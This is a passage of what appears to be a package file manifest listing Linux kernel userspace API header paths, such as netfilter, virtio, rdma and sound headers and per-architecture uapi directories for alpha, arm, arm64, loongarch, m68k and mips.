"/usr/include/linux/netfilter_bridge/ebt_ip6.h", "/usr/include/linux/netfilter_bridge/ebt_limit.h", "/usr/include/linux/netfilter_bridge/ebt_log.h", "/usr/include/linux/netfilter_bridge/ebt_mark_m.h", "/usr/include/linux/netfilter_bridge/ebt_mark_t.h", "/usr/include/linux/netfilter_bridge/ebt_nat.h", "/usr/include/linux/netfilter_bridge/ebt_nflog.h", "/usr/include/linux/netfilter_bridge/ebt_pkttype.h", "/usr/include/linux/netfilter_bridge/ebt_redirect.h", "/usr/include/linux/netfilter_bridge/ebt_stp.h", "/usr/include/linux/netfilter_bridge/ebt_vlan.h", "/usr/include/linux/netfilter_bridge/ebtables.h", "/usr/include/linux/netfilter_ipv4.h", "/usr/include/linux/netfilter_ipv4/ip_tables.h", "/usr/include/linux/netfilter_ipv4/ipt_CLUSTERIP.h", "/usr/include/linux/netfilter_ipv4/ipt_ECN.h", "/usr/include/linux/netfilter_ipv4/ipt_LOG.h", "/usr/include/linux/netfilter_ipv4/ipt_REJECT.h", "/usr/include/linux/netfilter_ipv4/ipt_TTL.h", "/usr/include/linux/netfilter_ipv4/ipt_ah.h", "/usr/include/linux/netfilter_ipv4/ipt_ecn.h", "/usr/include/linux/netfilter_ipv4/ipt_ttl.h", "/usr/include/linux/netfilter_ipv6.h", "/usr/include/linux/netfilter_ipv6/ip6_tables.h", "/usr/include/linux/netfilter_ipv6/ip6t_HL.h", "/usr/include/linux/netfilter_ipv6/ip6t_LOG.h", "/usr/include/linux/netfilter_ipv6/ip6t_NPT.h", "/usr/include/linux/netfilter_ipv6/ip6t_REJECT.h", "/usr/include/linux/netfilter_ipv6/ip6t_ah.h", "/usr/include/linux/netfilter_ipv6/ip6t_frag.h", "/usr/include/linux/netfilter_ipv6/ip6t_hl.h", "/usr/include/linux/netfilter_ipv6/ip6t_ipv6header.h", "/usr/include/linux/netfilter_ipv6/ip6t_mh.h", "/usr/include/linux/netfilter_ipv6/ip6t_opts.h", "/usr/include/linux/netfilter_ipv6/ip6t_rt.h", "/usr/include/linux/netfilter_ipv6/ip6t_srh.h", "/usr/include/linux/netlink.h", "/usr/include/linux/netlink_diag.h", "/usr/include/linux/netrom.h", "/usr/include/linux/nexthop.h", "/usr/include/linux/nfc.h", "/usr/include/linux/nfs.h", "/usr/include/linux/nfs2.h", "/usr/include/linux/nfs3.h", "/usr/include/linux/nfs4.h", "/usr/include/linux/nfs4_mount.h", "/usr/include/linux/nfs_fs.h", "/usr/include/linux/nfs_idmap.h", "/usr/include/linux/nfs_mount.h", "/usr/include/linux/nfsacl.h", "/usr/include/linux/nfsd/cld.h", "/usr/include/linux/nfsd/debug.h", "/usr/include/linux/nfsd/export.h", "/usr/include/linux/nfsd/stats.h", "/usr/include/linux/nfsd_netlink.h", "/usr/include/linux/nilfs2_api.h", "/usr/include/linux/nilfs2_ondisk.h", "/usr/include/linux/nitro_enclaves.h", "/usr/include/linux/nl80211-vnd-intel.h", "/usr/include/linux/nl80211.h", "/usr/include/linux/npcm-video.h", "/usr/include/linux/nsfs.h", "/usr/include/linux/nsm.h", "/usr/include/linux/ntsync.h", "/usr/include/linux/nubus.h", "/usr/include/linux/nvme_ioctl.h", "/usr/include/linux/nvram.h", "/usr/include/linux/omap3isp.h", "/usr/include/linux/omapfb.h", "/usr/include/linux/oom.h", "/usr/include/linux/openat2.h", "/usr/include/linux/openvswitch.h", "/usr/include/linux/packet_diag.h", "/usr/include/linux/papr_pdsm.h", "/usr/include/linux/param.h", "/usr/include/linux/parport.h", "/usr/include/linux/patchkey.h", "/usr/include/linux/pci.h", "/usr/include/linux/pci_regs.h", "/usr/include/linux/pcitest.h", "/usr/include/linux/perf_event.h", "/usr/include/linux/personality.h", "/usr/include/linux/pfkeyv2.h", "/usr/include/linux/pfrut.h", "/usr/include/linux/pg.h", "/usr/include/linux/phantom.h", "/usr/include/linux/phonet.h", "/usr/include/linux/pidfd.h", "/usr/include/linux/pkt_cls.h", "/usr/include/linux/pkt_sched.h", "/usr/include/linux/pktcdvd.h", "/usr/include/linux/pmu.h", "/usr/include/linux/poll.h", "/usr/include/linux/posix_acl.h", "/usr/include/linux/posix_acl_xattr.h", "/usr/include/linux/posix_types.h", "/usr/include/linux/ppdev.h", "/usr/include/linux/ppp-comp.h", "/usr/include/linux/ppp-ioctl.h", "/usr/include/linux/ppp_defs.h", "/usr/include/linux/pps.h", "/usr/include/linux/pr.h", "/usr/include/linux/prctl.h", "/usr/include/linux/psample.h", "/usr/include/linux/psci.h", "/usr/include/linux/psp-dbc.h", "/usr/include/linux/psp-sev.h", "/usr/include/linux/ptp_clock.h", "/usr/include/linux/ptrace.h", "/usr/include/linux/qemu_fw_cfg.h", "/usr/include/linux/qnx4_fs.h", "/usr/include/linux/qnxtypes.h", "/usr/include/linux/qrtr.h", "/usr/include/linux/quota.h", "/usr/include/linux/radeonfb.h", "/usr/include/linux/raid/md_p.h", "/usr/include/linux/raid/md_u.h", "/usr/include/linux/random.h", "/usr/include/linux/rds.h", "/usr/include/linux/reboot.h", "/usr/include/linux/reiserfs_fs.h", "/usr/include/linux/reiserfs_xattr.h", "/usr/include/linux/remoteproc_cdev.h", "/usr/include/linux/resource.h", "/usr/include/linux/rfkill.h", "/usr/include/linux/rio_cm_cdev.h", "/usr/include/linux/rio_mport_cdev.h", "/usr/include/linux/rkisp1-config.h", "/usr/include/linux/romfs_fs.h", "/usr/include/linux/rose.h", "/usr/include/linux/route.h", "/usr/include/linux/rpl.h", "/usr/include/linux/rpl_iptunnel.h", "/usr/include/linux/rpmsg.h", "/usr/include/linux/rpmsg_types.h", "/usr/include/linux/rseq.h", "/usr/include/linux/rtc.h", "/usr/include/linux/rtnetlink.h", "/usr/include/linux/rxrpc.h", "/usr/include/linux/scc.h", "/usr/include/linux/sched.h", "/usr/include/linux/sched/types.h", "/usr/include/linux/scif_ioctl.h", "/usr/include/linux/screen_info.h", "/usr/include/linux/sctp.h", "/usr/include/linux/seccomp.h", "/usr/include/linux/securebits.h", "/usr/include/linux/sed-opal.h", "/usr/include/linux/seg6.h", "/usr/include/linux/seg6_genl.h", "/usr/include/linux/seg6_hmac.h", "/usr/include/linux/seg6_iptunnel.h", "/usr/include/linux/seg6_local.h", "/usr/include/linux/selinux_netlink.h", "/usr/include/linux/sem.h", "/usr/include/linux/serial.h", "/usr/include/linux/serial_core.h", "/usr/include/linux/serial_reg.h", "/usr/include/linux/serio.h", "/usr/include/linux/sev-guest.h", "/usr/include/linux/shm.h", "/usr/include/linux/signal.h", "/usr/include/linux/signalfd.h", "/usr/include/linux/smc.h", "/usr/include/linux/smc_diag.h", "/usr/include/linux/smiapp.h", "/usr/include/linux/snmp.h", "/usr/include/linux/sock_diag.h", "/usr/include/linux/socket.h", "/usr/include/linux/sockios.h", "/usr/include/linux/sonet.h", "/usr/include/linux/sonypi.h", "/usr/include/linux/sound.h", "/usr/include/linux/soundcard.h", "/usr/include/linux/spi/spi.h", "/usr/include/linux/spi/spidev.h", "/usr/include/linux/stat.h", "/usr/include/linux/stddef.h", "/usr/include/linux/stm.h", "/usr/include/linux/string.h", "/usr/include/linux/sunrpc/debug.h", "/usr/include/linux/surface_aggregator/cdev.h", "/usr/include/linux/surface_aggregator/dtx.h", "/usr/include/linux/suspend_ioctls.h", "/usr/include/linux/swab.h", "/usr/include/linux/switchtec_ioctl.h", "/usr/include/linux/sync_file.h", "/usr/include/linux/synclink.h", "/usr/include/linux/sysctl.h", "/usr/include/linux/sysinfo.h", "/usr/include/linux/target_core_user.h", "/usr/include/linux/taskstats.h", "/usr/include/linux/tc_act/tc_bpf.h", "/usr/include/linux/tc_act/tc_connmark.h", "/usr/include/linux/tc_act/tc_csum.h", "/usr/include/linux/tc_act/tc_ct.h", "/usr/include/linux/tc_act/tc_ctinfo.h", "/usr/include/linux/tc_act/tc_defact.h", "/usr/include/linux/tc_act/tc_gact.h", "/usr/include/linux/tc_act/tc_gate.h", "/usr/include/linux/tc_act/tc_ife.h", "/usr/include/linux/tc_act/tc_mirred.h", "/usr/include/linux/tc_act/tc_mpls.h", "/usr/include/linux/tc_act/tc_nat.h", "/usr/include/linux/tc_act/tc_pedit.h", "/usr/include/linux/tc_act/tc_sample.h", "/usr/include/linux/tc_act/tc_skbedit.h", "/usr/include/linux/tc_act/tc_skbmod.h", "/usr/include/linux/tc_act/tc_tunnel_key.h", "/usr/include/linux/tc_act/tc_vlan.h", "/usr/include/linux/tc_ematch/tc_em_cmp.h", "/usr/include/linux/tc_ematch/tc_em_ipt.h", "/usr/include/linux/tc_ematch/tc_em_meta.h", "/usr/include/linux/tc_ematch/tc_em_nbyte.h", "/usr/include/linux/tc_ematch/tc_em_text.h", "/usr/include/linux/tcp.h", "/usr/include/linux/tcp_metrics.h", "/usr/include/linux/tdx-guest.h", "/usr/include/linux/tee.h", "/usr/include/linux/termios.h", "/usr/include/linux/thermal.h", "/usr/include/linux/thp7312.h", "/usr/include/linux/time.h", "/usr/include/linux/time_types.h", "/usr/include/linux/timerfd.h", "/usr/include/linux/times.h", "/usr/include/linux/timex.h", "/usr/include/linux/tiocl.h", "/usr/include/linux/tipc.h", "/usr/include/linux/tipc_config.h", "/usr/include/linux/tipc_netlink.h", "/usr/include/linux/tipc_sockets_diag.h", "/usr/include/linux/tls.h", "/usr/include/linux/toshiba.h", "/usr/include/linux/tps6594_pfsm.h", "/usr/include/linux/trace_mmap.h", "/usr/include/linux/tty.h", "/usr/include/linux/tty_flags.h", "/usr/include/linux/types.h", "/usr/include/linux/ublk_cmd.h", "/usr/include/linux/udf_fs_i.h", "/usr/include/linux/udmabuf.h", "/usr/include/linux/udp.h", "/usr/include/linux/uhid.h", "/usr/include/linux/uinput.h", "/usr/include/linux/uio.h", "/usr/include/linux/uleds.h", "/usr/include/linux/ultrasound.h", "/usr/include/linux/um_timetravel.h", "/usr/include/linux/un.h", "/usr/include/linux/unistd.h", "/usr/include/linux/unix_diag.h", "/usr/include/linux/usb/audio.h", "/usr/include/linux/usb/cdc-wdm.h", "/usr/include/linux/usb/cdc.h", "/usr/include/linux/usb/ch11.h", "/usr/include/linux/usb/ch9.h", "/usr/include/linux/usb/charger.h", "/usr/include/linux/usb/functionfs.h", "/usr/include/linux/usb/g_hid.h", "/usr/include/linux/usb/g_printer.h", "/usr/include/linux/usb/g_uvc.h", "/usr/include/linux/usb/gadgetfs.h", "/usr/include/linux/usb/midi.h", "/usr/include/linux/usb/raw_gadget.h", "/usr/include/linux/usb/tmc.h", "/usr/include/linux/usb/video.h", "/usr/include/linux/usbdevice_fs.h", "/usr/include/linux/usbip.h", "/usr/include/linux/user_events.h", "/usr/include/linux/userfaultfd.h", "/usr/include/linux/userio.h", "/usr/include/linux/utime.h", "/usr/include/linux/utsname.h", "/usr/include/linux/uuid.h", "/usr/include/linux/uvcvideo.h", "/usr/include/linux/v4l2-common.h", "/usr/include/linux/v4l2-controls.h", "/usr/include/linux/v4l2-dv-timings.h", "/usr/include/linux/v4l2-mediabus.h", "/usr/include/linux/v4l2-subdev.h", "/usr/include/linux/vbox_err.h", "/usr/include/linux/vbox_vmmdev_types.h", "/usr/include/linux/vboxguest.h", "/usr/include/linux/vdpa.h", "/usr/include/linux/vduse.h", "/usr/include/linux/version.h", "/usr/include/linux/vesa.h", "/usr/include/linux/veth.h", "/usr/include/linux/vfio.h", "/usr/include/linux/vfio_ccw.h", "/usr/include/linux/vfio_zdev.h", "/usr/include/linux/vhost.h", "/usr/include/linux/vhost_types.h", "/usr/include/linux/videodev2.h", "/usr/include/linux/virtio_9p.h", "/usr/include/linux/virtio_balloon.h", "/usr/include/linux/virtio_blk.h", "/usr/include/linux/virtio_bt.h", "/usr/include/linux/virtio_config.h", "/usr/include/linux/virtio_console.h", "/usr/include/linux/virtio_crypto.h", "/usr/include/linux/virtio_fs.h", "/usr/include/linux/virtio_gpio.h", "/usr/include/linux/virtio_gpu.h", "/usr/include/linux/virtio_i2c.h", "/usr/include/linux/virtio_ids.h", "/usr/include/linux/virtio_input.h", "/usr/include/linux/virtio_iommu.h", "/usr/include/linux/virtio_mem.h", "/usr/include/linux/virtio_mmio.h", "/usr/include/linux/virtio_net.h", "/usr/include/linux/virtio_pci.h", "/usr/include/linux/virtio_pcidev.h", "/usr/include/linux/virtio_pmem.h", "/usr/include/linux/virtio_ring.h", "/usr/include/linux/virtio_rng.h", "/usr/include/linux/virtio_scmi.h", "/usr/include/linux/virtio_scsi.h", "/usr/include/linux/virtio_snd.h", "/usr/include/linux/virtio_types.h", "/usr/include/linux/virtio_vsock.h", "/usr/include/linux/vm_sockets.h", "/usr/include/linux/vm_sockets_diag.h", "/usr/include/linux/vmcore.h", "/usr/include/linux/vsockmon.h", "/usr/include/linux/vt.h", "/usr/include/linux/vtpm_proxy.h", "/usr/include/linux/wait.h", "/usr/include/linux/watch_queue.h", "/usr/include/linux/watchdog.h", "/usr/include/linux/wireguard.h", "/usr/include/linux/wireless.h", "/usr/include/linux/wmi.h", "/usr/include/linux/wwan.h", "/usr/include/linux/x25.h", "/usr/include/linux/xattr.h", "/usr/include/linux/xdp_diag.h", "/usr/include/linux/xfrm.h", "/usr/include/linux/xilinx-v4l2-controls.h", "/usr/include/linux/zorro.h", "/usr/include/linux/zorro_ids.h", "/usr/include/misc/cxl.h", "/usr/include/misc/fastrpc.h", "/usr/include/misc/mrvl_cn10k_dpi.h", "/usr/include/misc/ocxl.h", "/usr/include/misc/pvpanic.h", "/usr/include/misc/uacce/hisi_qm.h", "/usr/include/misc/uacce/uacce.h", "/usr/include/misc/xilinx_sdfec.h", "/usr/include/mtd/inftl-user.h", "/usr/include/mtd/mtd-abi.h", "/usr/include/mtd/mtd-user.h", "/usr/include/mtd/nftl-user.h", "/usr/include/mtd/ubi-user.h", "/usr/include/rdma/bnxt_re-abi.h", "/usr/include/rdma/cxgb4-abi.h", "/usr/include/rdma/efa-abi.h", "/usr/include/rdma/erdma-abi.h", "/usr/include/rdma/hfi/hfi1_ioctl.h", "/usr/include/rdma/hfi/hfi1_user.h", "/usr/include/rdma/hns-abi.h", "/usr/include/rdma/ib_user_ioctl_cmds.h", "/usr/include/rdma/ib_user_ioctl_verbs.h", "/usr/include/rdma/ib_user_mad.h", "/usr/include/rdma/ib_user_sa.h", "/usr/include/rdma/ib_user_verbs.h", "/usr/include/rdma/irdma-abi.h", "/usr/include/rdma/mana-abi.h", "/usr/include/rdma/mlx4-abi.h", "/usr/include/rdma/mlx5-abi.h", "/usr/include/rdma/mlx5_user_ioctl_cmds.h", "/usr/include/rdma/mlx5_user_ioctl_verbs.h", "/usr/include/rdma/mthca-abi.h", "/usr/include/rdma/ocrdma-abi.h", "/usr/include/rdma/qedr-abi.h", "/usr/include/rdma/rdma_netlink.h", "/usr/include/rdma/rdma_user_cm.h", "/usr/include/rdma/rdma_user_ioctl.h", "/usr/include/rdma/rdma_user_ioctl_cmds.h", "/usr/include/rdma/rdma_user_rxe.h", "/usr/include/rdma/rvt-abi.h", "/usr/include/rdma/siw-abi.h", "/usr/include/rdma/vmw_pvrdma-abi.h", "/usr/include/regulator/regulator.h", "/usr/include/scsi/cxlflash_ioctl.h", "/usr/include/scsi/fc/fc_els.h", "/usr/include/scsi/fc/fc_fs.h", "/usr/include/scsi/fc/fc_gs.h", "/usr/include/scsi/fc/fc_ns.h", "/usr/include/scsi/scsi_bsg_fc.h", "/usr/include/scsi/scsi_bsg_mpi3mr.h", "/usr/include/scsi/scsi_bsg_ufs.h", "/usr/include/scsi/scsi_netlink.h", "/usr/include/scsi/scsi_netlink_fc.h", "/usr/include/sound/asequencer.h", "/usr/include/sound/asoc.h", "/usr/include/sound/asound.h", "/usr/include/sound/asound_fm.h", "/usr/include/sound/compress_offload.h", "/usr/include/sound/compress_params.h", "/usr/include/sound/emu10k1.h", "/usr/include/sound/firewire.h", "/usr/include/sound/hdsp.h", "/usr/include/sound/hdspm.h", "/usr/include/sound/intel/avs/tokens.h", "/usr/include/sound/sb16_csp.h", "/usr/include/sound/scarlett2.h", "/usr/include/sound/sfnt_info.h", "/usr/include/sound/skl-tplg-interface.h", "/usr/include/sound/snd_ar_tokens.h", "/usr/include/sound/snd_sst_tokens.h", "/usr/include/sound/sof/abi.h", "/usr/include/sound/sof/fw.h", "/usr/include/sound/sof/header.h", "/usr/include/sound/sof/tokens.h", "/usr/include/sound/tlv.h", "/usr/include/sound/usb_stream.h", "/usr/include/video/edid.h", "/usr/include/video/sisfb.h", "/usr/include/video/uvesafb.h", "/usr/include/xen/evtchn.h", "/usr/include/xen/gntalloc.h", "/usr/include/xen/gntdev.h", "/usr/include/xen/privcmd.h", "/usr/lib/linux/uapi/alpha/asm/a.out.h", "/usr/lib/linux/uapi/alpha/asm/auxvec.h", "/usr/lib/linux/uapi/alpha/asm/bitsperlong.h", "/usr/lib/linux/uapi/alpha/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/alpha/asm/byteorder.h", "/usr/lib/linux/uapi/alpha/asm/compiler.h", "/usr/lib/linux/uapi/alpha/asm/console.h", "/usr/lib/linux/uapi/alpha/asm/errno.h", "/usr/lib/linux/uapi/alpha/asm/fcntl.h", "/usr/lib/linux/uapi/alpha/asm/fpu.h", "/usr/lib/linux/uapi/alpha/asm/gentrap.h", "/usr/lib/linux/uapi/alpha/asm/ioctl.h", "/usr/lib/linux/uapi/alpha/asm/ioctls.h", "/usr/lib/linux/uapi/alpha/asm/ipcbuf.h", "/usr/lib/linux/uapi/alpha/asm/mman.h", "/usr/lib/linux/uapi/alpha/asm/msgbuf.h", "/usr/lib/linux/uapi/alpha/asm/pal.h", "/usr/lib/linux/uapi/alpha/asm/param.h", "/usr/lib/linux/uapi/alpha/asm/poll.h", "/usr/lib/linux/uapi/alpha/asm/posix_types.h", "/usr/lib/linux/uapi/alpha/asm/ptrace.h", "/usr/lib/linux/uapi/alpha/asm/reg.h", "/usr/lib/linux/uapi/alpha/asm/regdef.h", "/usr/lib/linux/uapi/alpha/asm/resource.h", "/usr/lib/linux/uapi/alpha/asm/sembuf.h", "/usr/lib/linux/uapi/alpha/asm/setup.h", "/usr/lib/linux/uapi/alpha/asm/shmbuf.h", "/usr/lib/linux/uapi/alpha/asm/sigcontext.h", "/usr/lib/linux/uapi/alpha/asm/siginfo.h", "/usr/lib/linux/uapi/alpha/asm/signal.h", "/usr/lib/linux/uapi/alpha/asm/socket.h", "/usr/lib/linux/uapi/alpha/asm/sockios.h", "/usr/lib/linux/uapi/alpha/asm/stat.h", "/usr/lib/linux/uapi/alpha/asm/statfs.h", "/usr/lib/linux/uapi/alpha/asm/swab.h", "/usr/lib/linux/uapi/alpha/asm/sysinfo.h", "/usr/lib/linux/uapi/alpha/asm/termbits.h", "/usr/lib/linux/uapi/alpha/asm/termios.h", "/usr/lib/linux/uapi/alpha/asm/types.h", "/usr/lib/linux/uapi/alpha/asm/unistd.h", "/usr/lib/linux/uapi/alpha/asm/unistd_32.h", "/usr/lib/linux/uapi/arm/asm/auxvec.h", "/usr/lib/linux/uapi/arm/asm/bitsperlong.h", "/usr/lib/linux/uapi/arm/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/arm/asm/byteorder.h", "/usr/lib/linux/uapi/arm/asm/errno.h", "/usr/lib/linux/uapi/arm/asm/fcntl.h", "/usr/lib/linux/uapi/arm/asm/hwcap.h", "/usr/lib/linux/uapi/arm/asm/ioctl.h", "/usr/lib/linux/uapi/arm/asm/ioctls.h", "/usr/lib/linux/uapi/arm/asm/ipcbuf.h", "/usr/lib/linux/uapi/arm/asm/kvm_para.h", "/usr/lib/linux/uapi/arm/asm/mman.h", "/usr/lib/linux/uapi/arm/asm/msgbuf.h", "/usr/lib/linux/uapi/arm/asm/param.h", "/usr/lib/linux/uapi/arm/asm/perf_regs.h", "/usr/lib/linux/uapi/arm/asm/poll.h", "/usr/lib/linux/uapi/arm/asm/posix_types.h", "/usr/lib/linux/uapi/arm/asm/ptrace.h", "/usr/lib/linux/uapi/arm/asm/resource.h", "/usr/lib/linux/uapi/arm/asm/sembuf.h", "/usr/lib/linux/uapi/arm/asm/setup.h", "/usr/lib/linux/uapi/arm/asm/shmbuf.h", "/usr/lib/linux/uapi/arm/asm/sigcontext.h", "/usr/lib/linux/uapi/arm/asm/siginfo.h", "/usr/lib/linux/uapi/arm/asm/signal.h", "/usr/lib/linux/uapi/arm/asm/socket.h", "/usr/lib/linux/uapi/arm/asm/sockios.h", "/usr/lib/linux/uapi/arm/asm/stat.h", "/usr/lib/linux/uapi/arm/asm/statfs.h", "/usr/lib/linux/uapi/arm/asm/swab.h", "/usr/lib/linux/uapi/arm/asm/termbits.h", "/usr/lib/linux/uapi/arm/asm/termios.h", "/usr/lib/linux/uapi/arm/asm/types.h", "/usr/lib/linux/uapi/arm/asm/unistd-eabi.h", "/usr/lib/linux/uapi/arm/asm/unistd-oabi.h", "/usr/lib/linux/uapi/arm/asm/unistd.h", "/usr/lib/linux/uapi/arm64/asm/auxvec.h", "/usr/lib/linux/uapi/arm64/asm/bitsperlong.h", "/usr/lib/linux/uapi/arm64/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/arm64/asm/byteorder.h", "/usr/lib/linux/uapi/arm64/asm/errno.h", "/usr/lib/linux/uapi/arm64/asm/fcntl.h", "/usr/lib/linux/uapi/arm64/asm/hwcap.h", "/usr/lib/linux/uapi/arm64/asm/ioctl.h", "/usr/lib/linux/uapi/arm64/asm/ioctls.h", "/usr/lib/linux/uapi/arm64/asm/ipcbuf.h", "/usr/lib/linux/uapi/arm64/asm/kvm.h", "/usr/lib/linux/uapi/arm64/asm/kvm_para.h", "/usr/lib/linux/uapi/arm64/asm/mman.h", "/usr/lib/linux/uapi/arm64/asm/msgbuf.h", "/usr/lib/linux/uapi/arm64/asm/param.h", "/usr/lib/linux/uapi/arm64/asm/perf_regs.h", "/usr/lib/linux/uapi/arm64/asm/poll.h", "/usr/lib/linux/uapi/arm64/asm/posix_types.h", "/usr/lib/linux/uapi/arm64/asm/ptrace.h", "/usr/lib/linux/uapi/arm64/asm/resource.h", "/usr/lib/linux/uapi/arm64/asm/sembuf.h", "/usr/lib/linux/uapi/arm64/asm/setup.h", "/usr/lib/linux/uapi/arm64/asm/shmbuf.h", "/usr/lib/linux/uapi/arm64/asm/sigcontext.h", "/usr/lib/linux/uapi/arm64/asm/siginfo.h", "/usr/lib/linux/uapi/arm64/asm/signal.h", "/usr/lib/linux/uapi/arm64/asm/socket.h", "/usr/lib/linux/uapi/arm64/asm/sockios.h", "/usr/lib/linux/uapi/arm64/asm/stat.h", "/usr/lib/linux/uapi/arm64/asm/statfs.h", "/usr/lib/linux/uapi/arm64/asm/sve_context.h", "/usr/lib/linux/uapi/arm64/asm/swab.h", "/usr/lib/linux/uapi/arm64/asm/termbits.h", "/usr/lib/linux/uapi/arm64/asm/termios.h", "/usr/lib/linux/uapi/arm64/asm/types.h", "/usr/lib/linux/uapi/arm64/asm/ucontext.h", "/usr/lib/linux/uapi/arm64/asm/unistd.h", "/usr/lib/linux/uapi/arm64/asm/unistd_64.h", "/usr/lib/linux/uapi/loongarch/asm/auxvec.h", "/usr/lib/linux/uapi/loongarch/asm/bitsperlong.h", "/usr/lib/linux/uapi/loongarch/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/loongarch/asm/break.h", "/usr/lib/linux/uapi/loongarch/asm/byteorder.h", "/usr/lib/linux/uapi/loongarch/asm/errno.h", "/usr/lib/linux/uapi/loongarch/asm/fcntl.h", "/usr/lib/linux/uapi/loongarch/asm/hwcap.h", "/usr/lib/linux/uapi/loongarch/asm/ioctl.h", "/usr/lib/linux/uapi/loongarch/asm/ioctls.h", "/usr/lib/linux/uapi/loongarch/asm/ipcbuf.h", "/usr/lib/linux/uapi/loongarch/asm/kvm.h", "/usr/lib/linux/uapi/loongarch/asm/kvm_para.h", "/usr/lib/linux/uapi/loongarch/asm/mman.h", "/usr/lib/linux/uapi/loongarch/asm/msgbuf.h", "/usr/lib/linux/uapi/loongarch/asm/param.h", "/usr/lib/linux/uapi/loongarch/asm/perf_regs.h", "/usr/lib/linux/uapi/loongarch/asm/poll.h", "/usr/lib/linux/uapi/loongarch/asm/posix_types.h", "/usr/lib/linux/uapi/loongarch/asm/ptrace.h", "/usr/lib/linux/uapi/loongarch/asm/reg.h", "/usr/lib/linux/uapi/loongarch/asm/resource.h", "/usr/lib/linux/uapi/loongarch/asm/sembuf.h", "/usr/lib/linux/uapi/loongarch/asm/setup.h", "/usr/lib/linux/uapi/loongarch/asm/shmbuf.h", "/usr/lib/linux/uapi/loongarch/asm/sigcontext.h", "/usr/lib/linux/uapi/loongarch/asm/siginfo.h", "/usr/lib/linux/uapi/loongarch/asm/signal.h", "/usr/lib/linux/uapi/loongarch/asm/socket.h", "/usr/lib/linux/uapi/loongarch/asm/sockios.h", "/usr/lib/linux/uapi/loongarch/asm/stat.h", "/usr/lib/linux/uapi/loongarch/asm/statfs.h", "/usr/lib/linux/uapi/loongarch/asm/swab.h", "/usr/lib/linux/uapi/loongarch/asm/termbits.h", "/usr/lib/linux/uapi/loongarch/asm/termios.h", "/usr/lib/linux/uapi/loongarch/asm/types.h", "/usr/lib/linux/uapi/loongarch/asm/ucontext.h", "/usr/lib/linux/uapi/loongarch/asm/unistd.h", "/usr/lib/linux/uapi/loongarch/asm/unistd_64.h", "/usr/lib/linux/uapi/m68k/asm/a.out.h", "/usr/lib/linux/uapi/m68k/asm/auxvec.h", "/usr/lib/linux/uapi/m68k/asm/bitsperlong.h", "/usr/lib/linux/uapi/m68k/asm/bootinfo-amiga.h", "/usr/lib/linux/uapi/m68k/asm/bootinfo-apollo.h", "/usr/lib/linux/uapi/m68k/asm/bootinfo-atari.h", "/usr/lib/linux/uapi/m68k/asm/bootinfo-hp300.h", "/usr/lib/linux/uapi/m68k/asm/bootinfo-mac.h", "/usr/lib/linux/uapi/m68k/asm/bootinfo-q40.h", "/usr/lib/linux/uapi/m68k/asm/bootinfo-virt.h", "/usr/lib/linux/uapi/m68k/asm/bootinfo-vme.h", "/usr/lib/linux/uapi/m68k/asm/bootinfo.h", "/usr/lib/linux/uapi/m68k/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/m68k/asm/byteorder.h", "/usr/lib/linux/uapi/m68k/asm/cachectl.h", "/usr/lib/linux/uapi/m68k/asm/errno.h", "/usr/lib/linux/uapi/m68k/asm/fcntl.h", "/usr/lib/linux/uapi/m68k/asm/ioctl.h", "/usr/lib/linux/uapi/m68k/asm/ioctls.h", "/usr/lib/linux/uapi/m68k/asm/ipcbuf.h", "/usr/lib/linux/uapi/m68k/asm/mman.h", "/usr/lib/linux/uapi/m68k/asm/msgbuf.h", "/usr/lib/linux/uapi/m68k/asm/param.h", "/usr/lib/linux/uapi/m68k/asm/poll.h", "/usr/lib/linux/uapi/m68k/asm/posix_types.h", "/usr/lib/linux/uapi/m68k/asm/ptrace.h", "/usr/lib/linux/uapi/m68k/asm/resource.h", "/usr/lib/linux/uapi/m68k/asm/sembuf.h", "/usr/lib/linux/uapi/m68k/asm/setup.h", "/usr/lib/linux/uapi/m68k/asm/shmbuf.h", "/usr/lib/linux/uapi/m68k/asm/sigcontext.h", "/usr/lib/linux/uapi/m68k/asm/siginfo.h", "/usr/lib/linux/uapi/m68k/asm/signal.h", "/usr/lib/linux/uapi/m68k/asm/socket.h", "/usr/lib/linux/uapi/m68k/asm/sockios.h", "/usr/lib/linux/uapi/m68k/asm/stat.h", "/usr/lib/linux/uapi/m68k/asm/statfs.h", "/usr/lib/linux/uapi/m68k/asm/swab.h", "/usr/lib/linux/uapi/m68k/asm/termbits.h", "/usr/lib/linux/uapi/m68k/asm/termios.h", "/usr/lib/linux/uapi/m68k/asm/types.h", "/usr/lib/linux/uapi/m68k/asm/unistd.h", "/usr/lib/linux/uapi/m68k/asm/unistd_32.h", "/usr/lib/linux/uapi/mips/asm/auxvec.h", "/usr/lib/linux/uapi/mips/asm/bitfield.h", "/usr/lib/linux/uapi/mips/asm/bitsperlong.h", "/usr/lib/linux/uapi/mips/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/mips/asm/break.h", "/usr/lib/linux/uapi/mips/asm/byteorder.h", "/usr/lib/linux/uapi/mips/asm/cachectl.h", "/usr/lib/linux/uapi/mips/asm/errno.h", "/usr/lib/linux/uapi/mips/asm/fcntl.h", "/usr/lib/linux/uapi/mips/asm/hwcap.h", "/usr/lib/linux/uapi/mips/asm/inst.h", "/usr/lib/linux/uapi/mips/asm/ioctl.h", "/usr/lib/linux/uapi/mips/asm/ioctls.h", "/usr/lib/linux/uapi/mips/asm/ipcbuf.h", "/usr/lib/linux/uapi/mips/asm/kvm.h", "/usr/lib/linux/uapi/mips/asm/kvm_para.h", "/usr/lib/linux/uapi/mips/asm/mman.h", "/usr/lib/linux/uapi/mips/asm/msgbuf.h", "/usr/lib/linux/uapi/mips/asm/param.h", "/usr/lib/linux/uapi/mips/asm/perf_regs.h", "/usr/lib/linux/uapi/mips/asm/poll.h", "/usr/lib/linux/uapi/mips/asm/posix_types.h", "/usr/lib/linux/uapi/mips/asm/ptrace.h", "/usr/lib/linux/uapi/mips/asm/reg.h", "/usr/lib/linux/uapi/mips/asm/resource.h", "/usr/lib/linux/uapi/mips/asm/sembuf.h", "/usr/lib/linux/uapi/mips/asm/setup.h", "/usr/lib/linux/uapi/mips/asm/sgidefs.h", "/usr/lib/linux/uapi/mips/asm/shmbuf.h", "/usr/lib/linux/uapi/mips/asm/sigcontext.h", "/usr/lib/linux/uapi/mips/asm/siginfo.h", "/usr/lib/linux/uapi/mips/asm/signal.h", "/usr/lib/linux/uapi/mips/asm/socket.h", "/usr/lib/linux/uapi/mips/asm/sockios.h", 